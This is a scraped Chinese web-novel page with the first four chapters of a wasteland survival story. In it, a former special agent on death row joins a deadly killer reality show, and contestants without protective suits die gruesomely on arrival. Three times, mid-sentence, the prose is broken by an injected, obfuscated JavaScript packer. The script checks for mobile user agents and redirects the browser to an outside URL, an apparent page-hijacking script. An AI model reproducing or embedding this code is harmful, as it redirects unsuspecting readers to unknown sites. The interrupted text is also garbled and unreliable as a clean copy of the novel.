《不出道，就出殡》 1. 废土逃杀1 三个小时前，青黛还在通往刑场的死路上，而此刻，她则是跟着107个陌生人坐上了一辆不知道开去哪的生化装甲车。 车厢没有窗户，看不见外面的情况，车顶上密布着运行中的摄像装置，全息屏幕上同步播放着“乘客们”的一举一动。 没人说话，每个人都心事重重的——节目组说这是通往巅峰的征途，但大家都知道，那巅峰上能站下的人不多。 抬头看到屏幕里的“自己”，青黛还是感觉很不适应——这不是她的皮囊。 她是穿越者，在原世界被炸死后，穿到了这个废土世界，无痛成为了一名死刑犯。 对于这个身份她十分恼火——本来已经死透了，穿来这个世界又活了，坐了几个月的牢后，又要死了。这穿越的意义何在？难道就是为了体验一下死囚的生活？ 执行死刑的这天，她没有被带去联邦死刑执行室，而是去了会客间。 一个笑容可掬，满面奸邪的男人正在等她。 她从这个自称选角导演的男人口中得知，自己被一个叫「制造杀手108」的节目组看上了。 如果她愿意，节目组会送她去参加一场杀手真人秀，如果有幸活下来，她将获得自由。 如果她不愿意，她将继续被执行她未完成的死刑。 青黛知道这个废土世界的死囚是可以被买卖的，功能也很多样，有的专供科学，有的专供娱乐，根本没有人权可言。这事本不合法，但做得人多了，便也没人在乎了。 青黛大概明白自己的用途，就是一个可以随时被节目组牺牲掉用来提高收视率的炮灰——就像她的世界里婚恋节目里邀请的那些奇形怪状的嘉宾一样，按照剧本说点逆天言论，然后给观众当靶子打，增加节目讨论度。 她问都没问节目的细节，就不假思索地签下了同意书和生死状——这是她能活下去的唯一机会。 “为什么选我？” “你就当是你运气好吧。” 选角导演的笑容里带着一丝复杂的玩味，青黛没看懂。 青黛被带出监狱时，回头问身后的选角导演道：“你们不怕我趁机跑了吗？” “你跑不了。”导演笑得志得意满。 被送上生化装甲车的那一刹那，青黛明白了“你跑不了”的意思—— 这装甲车是最高防护级别的，跟巨型坦克似的，用炮弹轰都轰不翻，不但坚固，车顶还装满了智能探测监控和武器装备。别说跑了，一旦有个风吹草动，目标人物会立刻被打成筛子。 那些武器和装备她一个都不认识，看样子比自己的时代先进好几个版本。 装甲车摇摇晃晃开进了一段极颠簸的路段，隔壁座的乘客在一个剧烈的起伏之后，飞进了青黛的怀里，被她条件反射般稳稳地接住了。 那人轻飘飘的，是个瘦得跟小猫似的小姑娘。 青黛把小姑娘拎起来，放回她自己的位置时顺道瞄了她一眼——年纪很小，整身丝绸质地的衣服，一看就家境优渥。 一个有钱人家的少女怎么会出现在去参加杀手秀的车里？青黛陷入了疑惑。 “谢谢。”小姑娘侧过身跟青黛道谢，带着礼貌而疏离的笑容。 那笑容让青黛浑身一僵——不笑不觉得，但一笑起来，那小姑娘的眉眼跟自己去世的妹妹有六七分相似。 穿来这个世界，穿成死囚，被买来杀手秀，遇到跟妹妹相似的人……这当中是不是有什么关联？还是说，纯属巧合？ 正当青黛满脑子各种阴谋论时，一道刺耳的摩擦声唤回了她的思绪。 装甲车刹停了。 随着发动机的停止工作，车厢内安静了下来，隔着厚实的车体，能隐约听到车厢外风声的呼啸以及沙子摩擦撞击车身的声音。 大家都没说话，精神都高度集中着，等待着接下来的发展。 “咔嗒——” 青黛感觉脚下踩着的脚踏升了起来，她低头一看，是一个金属箱，箱子升上来后，自动打开了——里面放着一套防护服，一顶全包型头盔和一双战术靴。 她拿起防护服，掂了掂，感觉重量还行，不轻，但也不是特别重。 防护服是连体的，颜色是以黄、棕、卡其为主的沙漠迷彩，布料坚韧，通体无缝，一条双密封拉链从肚脐位置直到脖领处，领子上还有一圈拉链，应该是用来软连接头盔的。战术靴也是防爆防沙防水的设计和材质。 看样子，他们要去的地方，环境不太美好。 青黛翻开防护服的领标看了看，确定是自己的尺码后，拉开拉链就开始往身上套。她的想法很简单：虽然不知道为什么要穿这么高级别的防护服，但节目组给了，且一人一套，必然有用，早点穿上以防万一。 有些选手本来还在四处乱看，看到青黛利落的穿衣动作后，也恍然大悟似的开始穿自己的防护服。 青黛戴头盔时发现头盔上安装了两个摄像头，一个对着选手的脸，一个在头顶，可拍摄360度范围内所有的影像。头盔内部不仅有不明作用的传感器，还有些她看不懂的微型仪器和设备。 她穿戴好全套装备后，感觉了一下，果然是高科技——在完全密闭的防护服中，她感觉呼吸顺畅，关节活动自如，甚至可以自如地做出所有动作。丝毫不像她的世界的这个防护级别的防护服，穿上后活动能力会大大受限。 青黛其实一直没想明白，都被核平了，人都被迫住到地下了，这个世界的科技怎么会这么发达？ 她做了几个俯卧撑站起来后，发现旁边那个小姑娘一脸嫌弃地看着防护服，一动不动。 也不知道是大人天然对小孩子有种保护欲，还是这女孩有几分像妹妹，总之，青黛对她产生了一种莫名其妙的责任感。这感觉拦都拦不住，像是条件反射似的，让她对小女孩说道：“你怎么还不穿？” “节目组又没说让穿。”小姑娘撇了撇嘴，“好多人都没穿呢。” 确实，不仅小姑娘没穿，很多人都在等待着节目组给出指令，而且，还有几个到处攀谈的社牛，压根儿没坐在自己的位置上。 小姑娘嘟嘟囔囔道：“早知道我自己带一套过来了，这个料子怎么穿啊，那么粗糙，我会过敏的。” “来，我帮你穿。”青黛不由分说，拿过小姑娘那套小号的防护服就往她身上套。 “不要！”小姑娘无比抗拒，伸手抵着青黛，“颜色丑死了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14869611|159545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 不怪这孩子，没有任何一个十几岁的少女会喜欢沙漠迷彩的，废土少女也爱粉红。 “乖，快穿。”青黛拿出了对付妹妹的招数。 虽然她对她妹每次最终都会演化到武力镇压，但至少开始总是能装得姐慈妹孝的。 小公主并不听劝，浑身肌肉紧绷，全力抗拒着青黛的动作：“我不穿！你别管我！” 青黛虽然力气很大，但一个人也是弄不住这样一个半大孩子的，尤其还是女孩——主要是不能下手太狠。 正当青黛开始发急时，旁边忽然伸出一双手，帮她攥住了小姑娘的手臂。 “放开我！你谁啊？”小姑娘急眼了。 小姑娘和青黛同时看向那双手的主人，是个身材高大的男人，一张英俊的帅脸在一群凶神恶煞的人中，很是扎眼。 小姑娘有点花痴，直勾勾看着那帅哥，反抗力度明显弱了下来，青黛趁机快速给她套上了防护服，拉好拉链。 青黛跟帅哥点了点头，示意道谢。 那帅哥冲着青黛微笑回礼的同时，继续配合着她的指示，把小姑娘拎了起来，以便青黛把防爆靴给小姑娘套上。 靴子刚被穿好，车厢内忽然发出了倒计时的机械音—— “十、九、八……” 青黛和帅哥对视一眼，加快了手上的速度——一个扳过小姑娘的肩膀，另一个用极其迅速但不温柔的方式把头盔扣在了小姑娘的脑袋上，并开始找软连接的拉链头。 “你们轻点，我头发乱了。”小姑娘烦躁地喊道，“你们好粗鲁啊！急什么啊？还有那么多人没穿好呢。” 看样子，帅哥颜值对小丫头的震慑效果消退了，小姐脾气回来了。 确实很多人没穿好，有些是穿得晚，有些是动作慢，那些之前没坐在自己位置的人，此时在一片慌乱中，连自己的防护服都找不到了。 有个高大胖子明显抢了别人的防护服，根本套不进去，而被他抢了防护服的矮小的瘦子，穿着比自己大两圈的防护服，感觉裆线直接掉到了膝盖，连正常走路都费劲。 “……三、二、一。” 倒数停止了，大家继续着动作，没人停下。 青黛几乎是在最后一秒拉上了小姑娘头盔和防护服软连接的密封拉链。 “哐当——” 车厢尾端传来一声响。 大家循声不约而同地看向那里——厚重的车厢门被缓缓打开了，迎面是一片并不太绚烂的光。 不是灯光，而是自然光。 是传说中的有着可怕辐射和毒瘴的废土地表的自然光。 这不通透的，从层层烟霾雾障中艰难抵达地表的光，照亮了在场每个人的脸。 没人说话，车厢内死一般的静谧，青黛觉得甚至能听到某些选手关节发抖的声音。 从坐上生化装甲车开始，选手们其实对去向就已经有了不好的预判，但没想到结果竟然这么糟——真的是去地表，还是离九幽很远的地表深处。 地表，对于这些从生下来就住在九幽地下城，从未涉足过外界的选手们来说，几乎等同于两个字，死亡。 此时，他们正被迫直面死亡。 2. 废土逃杀2 百年前那场核战争毁天灭地，把地表变成了人间炼狱—— 大气中无法散去的核烟雾阻挡了阳光，致使气温急剧下降，导致地球进入了漫长的“核冬天”的状态。 空气和水源被有毒尘埃和放射性物质高度污染，以及过低的温度，导致了动植物的大量死亡。侥幸存活的那些生物，也因为高浓度辐射开始逐渐变异。 核冬天过后，地表世界完全就是地狱了，荒芜，恐怖，致命，充满未知的变异生物。 地表是人类默认的死区，除了某些特种工作人员、被流放的重刑犯以及躲避联邦抓捕的叛军，根本没人会涉足。 如今，来了。 还没等大家对眼前的状况做出一个合适的反应——惊慌，恐惧，崩溃还是软弱……那些没穿上防护服，或者防护服只穿了一半的选手们，逐个倒下了。 他们先是呕吐，脸色发青，紧接着，皮肤开始变色腐烂，慢慢化成浓稠的液态，顺着防护服流到车厢地板上，汇集在沟槽里，蜿蜒流向车外。 最令人感到可怕的是，这些人并没有立即死亡，而是眼睁睁看着自己的躯体被慢慢液化。他们甚至叫不出声，因为声带被腐蚀殆尽了。 原本还完整的人形，开始慢慢瘪了下去，某些没有被腐蚀的器官单独掉落在头盔内，贴在透明面罩上，看上去格外可怖，比如眼球。 那个抢别人衣服的皮薄馅大的胖子，更是直接爆了浆，脂肪、血液和脑浆炸得到处都是，溅了隔壁选手一身。 隔壁选手当场就吐了，吐在了防护头盔里，很不幸的，他接下来的赛程都要呼吸着自己的呕吐物了。 青黛觉得这个场景比尸□□化恶心多了——液化就是一瞬间的视觉冲击，而这个是绵延不绝的五感崩坏。 小姑娘倒是没吐，她抬起头感激地看着青黛——要不是她强制她穿上防护服，现在被“液化”的人应该也有她一个。 她刚想张嘴跟青黛道谢，一个机械女音在大家的头盔里响起： “叮叮叮——此次死亡人数5人，总死亡人数5人，剩余人数103人，清点播报完毕。” 这5个人终于死透了，死在所有人面前，这充分证明了传说中的毒瘴是真的，而且比传说中更加恐怖。 看样子，他们的联邦高层虽然谎话连篇，但在这件事上，并没欺骗民众。 曾经，有些自诩清醒的自由派人士质疑过联邦的地表管制，说地表根本没有危险，抗议政府限制他们前往地表的自由，说那都是联邦的阴谋，只是为了把他们圈养起来压榨。真正的地表水净草丰，空气清新，满山水果，遍地牛羊。 联邦为了辟谣，甚至在地表执行过几次死刑，并全程直播——让死刑犯极不人道地在众目睽睽下痛苦挣扎爆体而亡。 但没什么卵用，自由派们说这是联邦为了撒谎而制作的假视频，为了争取自由，他们甚至发起了暴动。 为了平息暴乱，联邦政府直接撤掉了守在地表出入口的岗哨和军队，并宣布九幽居民可以随意进出。 看样子，自由派们赢了。 但神奇的一幕发生了——根本没人出去寻求自由，也没人再对联邦提出“圈养操控”的控诉，大家仿佛这件事根本没发生过一样，就那么安静了下来。 “欢迎来到第31届「制造杀手108」……我是你们的主持人，丹尼·马！”一个音调略微滑稽的男人的声音在大家的头盔里响起，“接下来，哦不，从刚才开始你们就已经开始了本届真人秀的第一个环节——「回家」。但很显然，有些人已经回不了家了，哈哈哈。” 明明在描述选手的死亡，这主持人竟然当笑话般讲了出来，还笑了起来，这让选手们都很不舒服。 “真人秀是这么弄的吗？连个开场都没？就这么毫无防备地开始了？”一个男选手对节目组的安排表示不满。 “就是，就是。”大家纷纷附和道。 大家都以为驱车是把人载到节目举办的场地，然后是开幕式，会有人上来讲话，台上会播放点历届杀手秀的花絮，会有往届冠军的亮相，有嘉宾表演，接着宣布赛制和介绍评委，最后真人秀在烟火和掌声中开始。 “喜欢开场唱歌跳舞的，你们该穿着比基尼去选美，而不是来参加杀手秀！”主持人讽刺道。 “有人已经死了啊！你怎么能说出这样的话？”有个姑娘激动起来。 “杀手秀的主题就是杀戮，死人不是很合理的事吗？你们都是签了生死状的，装什么无辜？”主持人的声音犀利起来，“如果看不惯死亡，你就不该成为杀手练习生。” “你在偷换概念，是因为节目组没有预先说明流程和规则，也没有下达指令，导致了他们的死亡！你们哪怕嘱咐一句，他们选择不穿防护服死了都是活该，可你们什么都没交代，他们本不该死的。”一个选手为那些出师未捷身先死的选手感到不值，质疑节目组的安排有问题。 他倒也不是充满正义感地打抱不平，更多的是兔死狐悲，担心这个节目组接下来的骚操作会最终害到自己。 “这是个杀手真人秀，你们是杀手，杀手在执行任务的时候有人发号施令教你们要怎么做吗？死了，只能怪他们几个没有一点做杀手的觉悟和警惕性，不懂得预判形式，这样的人就不该进入这样的行业，淘汰难道不是应该的吗？” 主持人冷酷的回答，自然又引起了一些不满的声音。 “但是……” 有人尝试辩驳，被主持人打断了。 “你们想听我介绍规则，快点开始这个环节的内容，还是继续纠缠着不放，迫使我不停地反驳你们愚蠢的质疑，用来悼念你们那些死透了的对手？”主持人问道。 看着脚下那几个几乎流光了的同赛们的液态的身躯，那些窸窸窣窣的声音安静了下去。 其实没人在乎他们的死活，大家只是因为恐惧地表而下意识地抗拒这个环节的开始。 青黛倒是没什么太大的恐惧——首先，她刚穿来这个世界没多久，对地表没有那种深入骨髓的排斥感；其次，她的职业素养让她根本不害怕任何意义上的荒野求生。 她穿越前是个特工，顶级的那种，被选入特工局之前，是特战队的军人，当兵4年中3年半在打仗那种。在她看来，没有地方比战场更像噩梦。 所以，节目组找到她时，她甚至觉得这就是在作弊——这根本不是让她去参加什么杀手秀，而是明着给她一个活下去的机会。 但她没有证据，她连原身的记忆都没有。 眼见大家闭了嘴，主持人接着说：“「回家」这个环节的规则和内容很简单，就是徒步穿越地表的废弃城市，在废城里找寻车票，最后拿着车票，登上带你们回家的车。” 听完后，大家悬着心全都死了——徒步，地表，穿越，搜索，这几个关键词 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14869612|159545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 注定这是一段十分艰难的赛程。 “咱们不是杀手秀吗？为什么要搞这种地表生存的内容啊。”有选手不解道，“之前不是这样的啊。” 之前的杀手秀就是常规的玩法，跟奥运会比赛似的，淘汰赛，循环赛，擂台赛，积分赛……顶多换换场景，换换美术主题，今年搞热带雨林，明年搞摇滚音乐会，换汤不换药的。 观众拿这个秀几乎是当刺激血腥的体育节目看的，就跟看MMA没什么区别。看到喜欢的选手，就追他个人的比赛，买他个人的直播；没有特别喜欢的，就随便看看热闹；更有甚者，直接拿杀手秀当赌局，看节目只是为了下注买输赢。 近几年，随着各路创意暗黑秀的崛起，杀手秀这个老牌节目慢慢没落了，去年的收视率和收入均达到了历史最低， 于是，制作公司决定改版，并请来了暗黑综艺之神进行操刀。这个叫汪泰初的导演极其热爱地表元素，他连恋综都能放到地表，况杀手秀乎？ 但节目组肯定不能对外说“因为我们换导演了，这个导演对地表有执念，所以我们强行把杀手秀弄到了地表来搞”，他们需要一个冠冕堂皇的理由说服选手和观众。 此时，主持人的业务能力就显现出来了。 丹尼·马的声音快速响起，没有一刻犹豫和思考：“难道杀手执行任务就都是在有空调的高楼大厦里，拿着最先进的武器装备，在技术支持的指挥下进行的吗？如果你今天的任务是去地表杀一个叛军头目，难道你就不去了？因为环境恶劣？那你不该当杀手，该去当公主。” 他的话把大家噎得哑口无言——杀手的工作确实没什么规则，有些杀手甚至要潜伏在目标人物身边数年才能得到下手的机会，这期间难道就不是工作吗？ “哦对了，忘了告诉你们，地表没有网络信号，你们身上那些植入的智能设备，一个也用不了呢。”主持人的调子里全是幸灾乐祸的愉悦。 “没有网络？那我们怎么导航？”有人急了。 “你们每个人防护服口袋里都有一张地图。”主持人说道。 “没有补给吗？蛋白棒和水之类的。”有人问道。 “这么紧张的时刻，还惦记着吃，食欲太旺不好吧？”主持人调侃道。 “武器呢？武器总该有吧？”有人跟着询问道。 他的问题迅速得到了大家的响应，纷纷附和起来。 “回家的路，总是充满艰辛的，对吧？要学会不依靠工具呢。”主持人的语气像是在哄傻子，阴阳怪气的。 “这真人秀也太变态了，上来就是死亡难度，真想象不到，之后半决赛和决赛比什么？”有人沮丧道。 “你还想后面呢？先活过第一个环节再说吧。”他旁边的人说道。 主持人继续交代道：“只有50个人能进入下一个环节，所以，请各位抓紧时间哦，位次有限，先到先得。” “那剩下的人呢？”大家问。 “或许，留在地表，成为地表新居民？哈哈哈……”主持人又笑了起来，那声音讨人厌极了。 “那不就是被遗弃在地表了？”众人紧张了起来。 “是的呢！”主持人用欠揍的语气喊道，“奔跑吧，孩子们！” 主持人话音落下，装甲车车厢开始倾斜，把活人和死人统统倒垃圾般倒出了车厢，倒在了地面上。 极具侮辱性，但很高效。 3. 废土逃杀3 青黛从地上爬起来，眯着眼睛看了看这个陌生的废土世界的地表环境，跟自己想象中的差不多—— 荒芜，苍凉，没有任何植被，一片废墟，毫无生机。 天空被浓厚的烟霾所笼罩，沉重地压在大地之上，将阳光过滤成一种昏黄且黯淡的色调，罩着满是疮痍的陆地。 狂风偶尔呼啸而过，卷起漫天的黄沙与尘埃，形成遮天蔽日的沙暴，由远及近，打在防护服头盔的罩面上。 仔细观察，能看到远处零零星星的车辆残骸。大部分是核爆前世界的款式，它们或半掩在黄沙中，或被撞得七零八落，车身布满着锈迹和弹孔，诉说着那场毁灭世界的灾难中发生的惨烈战斗。 还有骸骨，处处可见的人类和动物的骸骨。 但现在不是感慨核战争可怕的时候，青黛现在有更重要的任务要完成—— 先活下去。 生化装甲车“卸完货”后，一秒都没逗留，卷着滚滚烟尘绝地而去，留下了一群选手在原地一动不动。 青黛觉得奇怪，这些人怎么不走啊？ 她把自己的地图掏出来看了一眼，恍然大悟——这地图上只有终点，没有起点，也就是说大家并不知道自己在地图的哪个位置。 也不知道节目组是故意的，还是缺乏常识。 当下的人类过度依赖智能设备，绝大多数人不但无法自己识别方向，甚至连基本方位感都没有。 这些九幽土生土长的选手们当然也不会坐以待毙，大家开始各想各的招数——有人开始计算方向的可能性；有人开始靠经验或直觉判断方向；也有人开始抽签决定自己要往哪个方向走；还有俩人用石头剪刀布决定方向的；当然，最多的人选择跟着一个看似靠谱的人一起走。 这些奇思妙想的方式看得青黛直摇头，但她没时间看别人的动作，她需要尽快找到方向后出发。 青黛环顾四周的环境，同时退了两步，撞到了一个人，她回头一看，竟然是那个小姑娘。 “你站在我身后干什么？”青黛一脸莫名。 “我准备跟你一起走，我可以保护你。”小姑娘挺起胸脯道。 “不用。” “我要报恩，你刚才救了我。” “也不用。” “我一个人害怕。”小姑娘说了实话。 青黛无语了一下，对着小姑娘说：“跟我走可以，但我先说规矩，你不许耍大小姐脾气，也别耍小孩子脾气，惹急眼我，我就一个人走。” “放心，我保证乖。”小姑娘连连答应。 青黛看了看天，皱了皱眉。 “你为什么看天？那里有什么设备吗？”小姑娘觉得青黛的动作应该有其原因。 “如果有太阳，能通过太阳的位置判断方向。”青黛说。 “什么意思？”小姑娘歪头问道。 青黛意识到九幽居民从出生就住在地下城，没怎么见过太阳，耐心解释道：“太阳升起的方向是东方。现在是上午，如果面向太阳，那么前面是东，后面是西，左面是北，右面是南。” 小姑娘也跟着抬头看了看天，天上的沙尘和烟霾遮天蔽日，根本看不到太阳。 “可是，根本看不到太阳在哪啊，我们往哪走？”小姑娘继续问。 “稍等。”青黛原地闭着眼想了一会儿，睁开眼对小姑娘说了句“跟我来”，旋即冲着西边隐隐的山脉而去。 “为什么是这个方向？”小姑娘问道。 “刚才装甲车先是向北开，然后向东，接着向北，然后向南，最后又向北，就等于一直向北，方向未变。我们从车尾出来，方向是坐北朝南，按照地图的指示，我们要向西走。”青黛边走边说。 “你怎么会记得方向？车开了半天呢。”小姑娘发出难以置信的声音。 “信不信由你，不信的话，你可以不跟着我走。”青黛当然不能解释说在密闭车厢内计算行进时间和方向是多年当特工导致的职业习惯。 穿越这种事，说出来根本没人信，而且也没必要跟个同赛的小孩子说这些。 “我信你，你说往天上走，我都信。”小姑娘表完衷心，就开始自曝信息“姐姐，我姓巫马，单名一个莎字，姐姐你叫什么？” “巫马？这个姓好特别。”青黛回答道，“我叫青黛。” “姐姐的名字也很特别，哪个青？哪个黛？”巫马莎问道。 “青色的青，黛色的黛。”青黛解释道，“你几岁？” “十五岁。”巫马莎颇为骄傲地回答道。 巫马莎很爱说话，不到十分钟，青黛几乎就知道了她所有的事——小姑娘是个杀二代，家里世代都是杀手，送她来参加杀手秀，是让她历练历练，学习学习。 青黛觉得巫马莎最需要学习的不是杀人技巧，而是闭嘴——在她的世界有句俗话叫：反派死于话多。 杀手，应该怎么都不算什么正派吧？青黛琢磨。 她俩没走出多远，竟然遇到了帮巫马莎穿衣服的帅哥。帅哥一个人孤零零站在那，浑身上下都散发着不知所措。 “怎么不走？是没有喜欢的方向吗？”青黛调侃道。 帅哥尴尬地笑了笑：“我……不认识方向。” “你这个特质，不适合杀手这个职业吧？”青黛继续调侃道。 “在九幽没问题的，这年头，谁能想到还有没有网络的环境？”帅哥强行给自己挽尊。 “跟我们走吧，我姐姐认识方向的。”巫马莎一副主人公作态地盛情邀请道，完全忘了自己也是通过祈求才被青黛接收的。 青黛很无语，这还没上路就攒了两个拖油瓶了。但她也没拒绝，虽然这个帅哥看起来实力不详，但是人肯定不坏，前路艰辛，多一个心地善良的伙伴，就多一份照应。 “我丑话说在前面，我能力有限，也只是暂时认得东西南北看得懂地图而已，除了这些，我什么都不会，连路边的狗都打不过，你别对我的能力有什么不切实际的幻想。”青黛发布了免责声明。 她之前因为“豪言”犯过让她一生后悔的错误，从那以后，她再也不会把话说满了，甚至过分谦逊了起来。 “明白。”帅哥一脸认真道。 “没事，我会打架！”巫马莎主动跳了出来，“我叫巫马莎，我姐姐叫青黛，小哥哥你叫什么？” 青黛觉得这丫头就是个怕寂寞又没机会认识人的社牛，这次可算逮到机会跟人交际了。 “莫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14869613|159545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之臻。”帅哥说。 青黛和莫之臻走路都很快，巫马莎几乎就是一路小跑跟着他们前进的。 两小时后，一座废弃的城池出现在了他们前方的视野当中，在烟霾中影影绰绰，看上去很是诡异凄凉。 青黛瞥了一眼路边的标牌，上面写了两个大字“林北”。 她松了口气，抬起头对另外两个人说：“是这里没错，这就是地图上标注的林北城。” 林北是个古城，有城墙有城门那种。这种古城青黛见过不少，但剩下两个九幽居民完全没见过，俩人对着远远的威严的城门，左看右看了半天，姿态跟观光客似的。 “地表城市都有城门吗？”巫马莎感觉这个东西很新鲜。 “绝大多数都没有。”青黛解释。 “你怎么知道的？”巫马莎问。 “因为我……”青黛在差一点说漏嘴时戛然而止，瞬间换了个说辞，“我在书上读到过。” “这年头竟然还有人懂历史，你可真博学。”巫马莎赞美道。 她不是在拍马屁，是真心的——世界核平之后，人类全都归向了实用主义，文史艺术这些对社会重建没什么帮助的学科完全被边缘化了，别说学了，看都没什么人看。 “看样子我们是第一个到这里的。”莫之臻欣赏完古迹后，到处张望了一下，颇为意外地说道。 “但我们不是唯一在这里的。”青黛指了指前面。 “啊——”巫马莎看清前方的东西后，尖叫起来。 那里有一条，站立着的，长了腿会前进的，满口尖利獠牙的，巨大的鱼。 青黛知道这个世界有变异生物，所以并没表现出太过诧异——她坐牢等死期间，除了看书读新闻，就没有任何别的消遣了，这致使她虽然一直与世隔绝，依然掌握了关于这个世界的大部分常识。 即便她不知道这个世界有变异生物，其实也不会表现出任何特殊情绪——毕竟，处变不惊是一个特工最基本的素质。 青黛调出头盔里的望远镜，开始仔细观察这种鱼——支撑它站立和跳跃的不是腿，而是劈叉劈成两条的鱼尾，远远看去像是一双腿而已。 这鱼尾怎么长得跟星巴克logo似的？青黛边吐槽边继续观察。 鱼鳞片是暗灰绿色的，质地看上去十分粗糙，鳞片缝隙间往外渗着稀薄的液体。鱼眼没有进化出眼皮，就那么瞪着，发灰的眼底全是爆裂的血丝。鱼牙是类似鲨鱼那种多层牙齿，呈三角形，边缘带有锯齿，看上去非常锋利。 她隐约想起自己在哪看过这种鱼的科普——因为海洋的核污染，仅仅几十年时间，这种鱼就飞速把鱼尾进化成了类似双腿的形态，上岸了，还长出了能适应污染空气的肺。 鱼群里的变异生物似乎不止一种——怪鱼的数量为绝大多数，还有别的奇形怪状的变异水产掺在其中——有脑袋可以360度旋转的能喷出腐蚀性液体的龙虾；有长出两个脑袋八条腿的鲨鱼；有浑身上下前后左右长满钳子的螃蟹；有枯木状触手上长满倒刺的超级海星…… 远远看去，像是一场盛大而变态的海鲜集会。 看着眼前这堆玩意儿，青黛反复思考是不是在自己的世界时海鲜吃多了，遭了报应。 4. 废土逃杀4 看着眼前的“盛会”，巫马莎害怕到声音打着颤：“那些东西是节目组弄来的道具吗？假的吧？” “我感觉他们没这个实力造这种假吧？”青黛判断道，“应该是探查出这里有大量变异生物，才会设计路线必须通过这里的。” 青黛在心里不断用最恶毒的脏话咒骂着节目组全体人员以及他们的九族，但她不敢骂出声，毕竟有孩子在，要注意言行举止。 “节目组还真是煞费苦心啊。”莫之臻讽刺道。 他倒是淡然，看到这些让人疯狂掉san的东西，竟然没什么太大的反应。 青黛不知道这男人是真的胆子大，还是硬撑着以维护男性尊严。 巫马莎问：“咱们杀了它们吗？” “赤手空拳杀它们？不可能的。”莫之臻解释道，“它身上的鳞片是进化过的，极其坚硬，有能量枪都不一定能打穿，你怎么徒手杀了它们？” “你怎么知道？”巫马莎似乎有点不信，觉得莫之臻在吓唬人。 “我写过关于这种变异鱼类的科普文章。”莫之臻谦逊地笑了笑。 他这一说，让青黛终于想起来自己在哪看过这种鱼的科普了——监狱里的免费电子刊物上。 “那可太好了，你知不知道它们的弱点？最好是致命的那种。”巫马莎兴奋了起来。 莫之臻摇了摇头：“我的文章是根据变异生物专家发表的论文撰写的，而专家的论文是根据地表探测器发回的观测数据编纂的，他们并没有抓到或解剖过任何一条实体鱼。可以说，内容全是推测，没有任何切实的依据。这些内容，当科研成果发表无伤大雅，顶多就是个科研错误。但如果以这些信息为基准去制定对抗战略，可能会误判，从而陷入巨大的危险。” 他说的没错，错误的信息比一无所知更致命——错误的信息会让人认知产生偏差，甚至态度激进，但一无所知让人谨慎，小心翼翼，反而存活概率更高。 青黛忽然觉得这男人还挺谦逊严谨，不会因为显摆博学而盲目自大。在她的世界中，男人个个都是知道一能吹出一百，不知道都能吹出十来的。这导致青黛听男人们说话，都把程度去掉个零后再斟酌。如今猛然遇到这么实事求是的男人，让她颇为不适应。 “咱们能不能绕过去啊？”巫马莎要哭了，但她不敢，现在没有水喝，她怕流泪导致失水过多。 “绕不过去，要进城拿车票。”青黛摇了摇头，“没车票上不了车。” “会不会有别的门？”莫之臻问道。 青黛拿出地图，仔细看了看：“如果节目组没骗我们，这个城市就只有一个门，若是有别的门，我猜也会被他们封掉的。这些鱼肯定是作为一个关卡存在的。” “咱们冲进去吗？会不会难度系数太高了？”莫之臻说。 青黛目测了一下怪鱼的数量，说道：“就算咱们拿着武器，冲过去都困难，更何况手无寸铁。” “那怎么办？”巫马莎问道，“照你们这么说，根本就是无解啊。” “急什么，咱们过不去，别人也过不去。”青黛笑了笑，“我们可以观摩学习一下别人的做法。” “在哪观摩？”莫之臻迅速领悟了青黛的意图——没必要当这个必然会损失惨重的出头鸟，等别人把怪物打一打，再趁机捞个过关就行。 青黛用头示意了一下右手边一个残破的城楼，道：“过去时脚步一定要轻，它们的听觉是靠地面共振的。” “共振？你怎么知道？”巫马莎问道。 青黛从脚边捡起一个小石头，用力一抛，石子掉到了海鲜群的旁边，鱼们跟炸了锅一样，全部冲着落地的石子攻击过去，那场面混乱不堪到了极致，有几条同事就那么不幸地被自己鱼误伤致死了。 鱼们并没放过已经死了的同事，迅速围了上去，等包围圈再次散开时，它们的同事连骨头渣都不剩了。 这场景看得三个人都汗毛倒竖。 吃完同事后，那些鱼站直了身子，用鱼尾贴着地面，一动不动，似乎是在“倾听”着什么。 青黛指着那群鱼的姿态，讲解道：“看它们的尾巴，应该是感知器官。普通鱼是靠水流震动感知声音的，这里又没水，它们肯定是靠地面震动感知。” 果然，确定没有动静后，鱼们恢复了之前的放松状态。 “万一它们进化出了跟人一样的听力呢？”巫马莎抬杠。 “它们要是进化出了听力，十分钟前你叫破喉咙的时候，就已经是它们的鱼食了。”青黛指了指那几条枉死的鱼的残渣。 “那它们的视觉怎么样？”巫马莎继续好奇地问道。 “估计也不行。”青黛摇摇头。 “为什么？”巫马莎简直就是个十万个为什么，不过也不奇怪，这个年纪的孩子都是这个德行，小朋友杀手也不例外。 